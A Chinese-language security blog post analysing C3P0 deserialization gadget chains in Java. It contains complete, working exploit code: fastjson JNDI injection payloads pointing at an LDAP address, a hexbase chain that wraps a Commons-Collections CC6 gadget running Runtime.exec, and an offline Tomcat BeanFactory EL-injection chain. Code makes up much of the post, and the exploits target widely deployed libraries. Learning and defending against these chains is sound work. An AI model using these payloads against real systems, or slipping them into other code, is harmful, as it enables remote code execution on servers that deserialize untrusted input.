Java反序列化之C3P0链
前言:
仍然是基础!!!
C3P0概述:
在看到标题之前大部分人可能都不知道C3P0是什么东西,但实际上他就是一个开源的JDBC连接池,主要实现的就是数据源和JNDI绑定,目前比较知名的使用他的有Spring和Hibernate等
那可能又有人问JDBC是什么?
JDBC英文全称:Java DataBase Connectivity,是java程序访问数据库的标准接口,毕竟java不可能通过TCP去连接数据库~
那什么是jdbc连接池,在开发情况中,我们可能会频繁的操作数据库,而这就相当于会频繁的创建或销毁句柄,这样就会增大资源的消耗。而连接池就是我们提前写好一些句柄,使用的时候拿出来用,不用的时候放到连接池中,准备下次使用~
C3P0 反序列化漏洞
环境:
jdk8u65
pom.xml:

C3P0 常见的利用方式
- URLClassLoader远程类加载
- JNDI注入
- 以及利用HEX序列化字节加载器进行反序列化攻击(之前从未听说过)
URLClassLoader远程类加载:


PoolBackedDataSourceBase.readObject想要进到getObject中必须要满足传入的类是IndirectlySerialized 这个类

进行完这个判断之后调用getObject方法的类从原本的PoolBackedDataSourceBase变成了ConnectionPoolDataSource

但是跟进去发现这是一个接口,没有继承Serializable

那这里就没办法了,所以我们去看一下PoolBackedDataSourceBase的writeObject(也就是序列化),发现他在检测到无法反序列化的时候,会用indirector封装一层

这里我们如果直接跟indirectForm,会发现什么都没有,仔细看一下代码我们可以发现代码中的indirector是ReferenceIndirector

所以我们先跟到ReferenceIndirector中搜索indirectForm看一下,发现会返回一个ReferenceSerialized像是继承了反序列化的
但是跟进去看一下会发现他是一个构造函数,但他继承了IndirectlySerialized,发现他继承了serializable
至此,流程就走完了,看似我们的外表是ConnectionPoolDataSource,但实际上已经是ReferenceSerialized(就是indirectForm return的那个类)
所以其实整个流程还是较为简单的,下面放一下完整的exp
C3P0 之 JNDI 注入
在上面的分析中不知道有没有人注意到一个lookup的方法,看到这个方法第一时间想到的肯定是jndi注入,而这个方法就是在ReferenceIndirector.getObject()里面
但是我们发现虽然有这个函数,但是contextName似乎无法控制,跟进去发现他是一个内部类的属性值,这就很难修改了,所以这其实是一条假的jndi注入哈哈,就是给看看坑
真正的jndi注入链是基于fastjson的,可以算是fastjson中的链吧

这里我们可以从漏洞发现者的思维去寻找,先全局搜一下jndi,点开第一个类JndiRefForwardingDataSource中的dereference方法

然后全局搜一下lookup,在112行和114行发现了一个lookup且参数名是jndiname,那肯定要去看一看这个jndiname能不能想办法控制

跟进去看一下发现jndiName 是由 this.getJndiName() 获得的

所以再看一下getJndiName方法,发现这个方法他判断若jndiname是name类型,就返回((Name) jndiName).clone(),若不是就返回String

回去看一下dereference,发现他刚好允许我们传入String参数
那这时候链子的尾部就已经构造好了,只要向上找能利用的就行

同类中的inner函数调用了该方法,所以再找inner的向上调用

这里发现很多setter/gettter方法,看到这里其实就已经满足fastjson的利用条件了

找一个最简单的只需要传入一整数就可以的JndiRefForwardingDataSource中的setLoginTimeout方法
最终exp:
import com.alibaba.fastjson.JSON;
// JndiRefForwardingDataSource 类的直接 EXP 调用
public class JndiForwardingDataSourceEXP {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\"," +
"\"jndiName\":\"ldap://127.0.0.1:1230/remoteObject\",\"LoginTimeout\":\"1\"}";
JSON.parse(payload);
}
}
其实这里还能继续向上找,因为这个JndiRefForwardingDataSource是一个default类,相对于public类的利用面会小一点,就是在JndiRefConnectionPoolDataSource 当中,大家可以去尝试一下,和上一个相差无几
public class JndiRefConnectionPoolDataSourceEXP {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
"\"jndiName\":\"ldap://127.0.0.1:1230/remoteObject\",\"LoginTimeout\":\"1\"}";
JSON.parse(payload);
}
}
C3P0 之 hexbase 攻击利用
这种攻击方法成立的e原因就是有一个WrapperConnectionPoolDataSource 类,他能反序列化一串十六进制字符串
链子的头部在WrapperConnectionPoolDataSource类中的构造函数

看构造函数发现在给userOverrides赋值的时候会调用C3P0ImplUtils.parseUserOverridesAsString()方法

跟进去看看发现,他将hex字符串读进来之后,首先把把字符串头部的HASM_HEADER截掉了,以及会截掉字符串最后一位
继续看,发现把转码后的结果保存到serbytes这个字节流当中,然后又对字节流执行SerializableUtils.fromByteArray()方法

跟到fromByteArray函数中看一下,发现他调用了SerializableUtils#deserializeFromByteArray

跟进去发现反序列化操作----readobject
所以这个很简单,直接用以前的cc链作为主要攻击链即可
exp
package hexBase;
import com.alibaba.fastjson.JSON;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.beans.PropertyVetoException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class HexBaseFastjsonEXP {
//CC6的利用链
public static Map CC6() throws NoSuchFieldException, IllegalAccessException {
//使用InvokeTransformer包装一下
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前弹计算器
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");
lazyMap.remove("key");
// 在 put 之后通过反射修改值
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);
return expMap;
}
static void addHexAscii(byte b, StringWriter sw)
{
int ub = b & 0xff;
int h1 = ub / 16;
int h2 = ub % 16;
sw.write(toHexDigit(h1));
sw.write(toHexDigit(h2));
}
private static char toHexDigit(int h)
{
char out;
if (h <= 9) out = (char) (h + 0x30);
else out = (char) (h + 0x37);
//System.err.println(h + ": " + out);
return out;
}
//将类序列化为字节数组
public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}
//字节数组转十六进制
public static String toHexAscii(byte[] bytes)
{
int len = bytes.length;
StringWriter sw = new StringWriter(len * 2);
for (int i = 0; i < len; ++i)
addHexAscii(bytes[i], sw);
return sw.toString();
}
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException {
String hex = toHexAscii(tobyteArray(CC6()));
System.out.println(hex);
//Fastjson<1.2.47
String payload = "{" +
"\"1\":{" +
"\"@type\":\"java.lang.Class\"," +
"\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
"}," +
"\"2\":{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}" +
"}";
JSON.parse(payload);
}
}
C3P0链子不出网利用
上面的urlclassloader加载远程类和jndi注入都需要目标机器出网,虽然说hexbase攻击方法可以不出网,但是前面分析的parseUserOverridesAsString所传入的参数是一个get方法,所以使用fastjson会方便很多,也就导致了对fastjson的版本有要求
在之前学习jndi注入的时候我们讨论过高版本利用就是可以加载本地的factory类进行工作,但是有要求就是该工厂类至少存在一个getObjectInstance()方法,比如说可以加载tomcat8中的org.apache.naming.factory.BeanFactory来进行EL表达式注入
导入依赖:
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.15</version>
</dependency>
接下来就是要选一条可以不出网利用的且限制较少的链子,其实之前的urlclassloader的链子就可以利用,只需要给之前的exp修改一下就行
package NoNetUsing;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class NoAccessEXP {
public static class Loader_Ref implements ConnectionPoolDataSource, Referenceable {
@Override
public Reference getReference() throws NamingException {
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));
return resourceRef;
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
//序列化
public static void serialize(ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException {
//反射修改connectionPoolDataSource属性值
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Class cls = poolBackedDataSourceBase.getClass();
Field field = cls.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(poolBackedDataSourceBase,c);
//序列化流写入文件
FileOutputStream fos = new FileOutputStream(new File("ser.bin"));
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(poolBackedDataSourceBase);
}
//反序列化
public static void unserialize() throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(new File("ser.bin"));
ObjectInputStream objectInputStream = new ObjectInputStream(fis);
objectInputStream.readObject();
}
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
Loader_Ref loader_ref = new Loader_Ref();
serialize(loader_ref);
unserialize();
}
}
总结:
实战环境中c3p0的包(com.mchange.c3p0)是除cc和cb以外最多的jar包,一部分是被org.quartz-scheduler:quartz 依赖所带进来的

浙公网安备 33010602011771号